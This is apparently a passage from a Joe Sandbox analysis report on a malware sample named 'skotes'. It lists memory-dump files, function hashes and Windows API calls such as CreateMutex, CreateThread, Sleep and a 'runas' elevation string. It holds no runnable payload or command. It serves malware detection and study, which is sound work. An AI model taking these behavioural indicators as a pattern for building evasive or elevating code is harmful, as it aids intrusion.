Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: cadd432fdad44eb9d90d88e062723f80208bc62b4d8924e580dc9e9d9c48804d
Instruction ID: 09ef531bf282e3bd6cc77e94f4eb932152c2fee9791c5f52421651983b41ad80
Opcode Fuzzy Hash: cadd432fdad44eb9d90d88e062723f80208bc62b4d8924e580dc9e9d9c48804d
Instruction Fuzzy Hash: 16E07D303AEF2496E7143B6CA88DF3D361697D5B41F211434E718CB2C8CA9446484663

Function 005F7430 Relevance: 4.8, APIs: 3, Instructions: 280COMMON

Download Yara Rule

Strings

runas, xrefs: 005F7303

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situExecuteMtx_destroy_in_situShell
String ID: runas
API String ID: 141703535-4000483414
Opcode ID: b6a3edb9e0c66cc9e10299a5bc58e96b2e07e1c75e6409008d46f8ed78fea5a6
Instruction ID: 92140958ed726a00bbd505842205f6d41dad7b3ae93c668a678891aecb64b44a
Opcode Fuzzy Hash: b6a3edb9e0c66cc9e10299a5bc58e96b2e07e1c75e6409008d46f8ed78fea5a6
Instruction Fuzzy Hash: 0DA1237161024C9FDB08EF68CC85BAE7BA7EB49300F50461DF905A77D2CB39A9848B95

Function 00626E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 648e9fb6b23bd588752043c25c251616554624708d951db1246f5b011644b84d
Instruction ID: e014f8b3647e54670b0fcd1d35464ac6abb0fdd8fab3ea902a6aad534f91ab3f
Opcode Fuzzy Hash: 648e9fb6b23bd588752043c25c251616554624708d951db1246f5b011644b84d
Instruction Fuzzy Hash: DF21E272905A286AEE116B68FD42F9A776B9B42334F110218F9643B2C1DA709E058F65

Function 00606D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00606D10
Sleep.KERNEL32(00007530), ref: 00606D25

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 713e6007c94e88b0b498944b63bf6195bc65973e7c8f2c5a4ef4845226780ce9
Instruction ID: f2534b4d9a80148c3ff81f87788141ced35460d39464539f037bf956cd5d483e
Opcode Fuzzy Hash: 713e6007c94e88b0b498944b63bf6195bc65973e7c8f2c5a4ef4845226780ce9
Instruction Fuzzy Hash: 4FD04C757D5324F6F2351760AC07F57AA229F0AF51F265445B75C3F0D085E4351046AD

Function 005F8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005F8524

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 982e8a47d2d9bc29ad3f8e22067215f334cfaa7f92eb1d3e49968c04730df9e1
Instruction ID: 7c9dc88414a671651b18c7747b0f85d7e4a3ee54a74c3ef9d49095258c35a5da
Opcode Fuzzy Hash: 982e8a47d2d9bc29ad3f8e22067215f334cfaa7f92eb1d3e49968c04730df9e1
Instruction Fuzzy Hash: 82511670D00258ABDB28EB68CD497FEBB75AB45314F504298E905A73C1EF389EC48B95

Function 00627124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0062705B,?,?,00000000,00000000), ref: 00627166

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
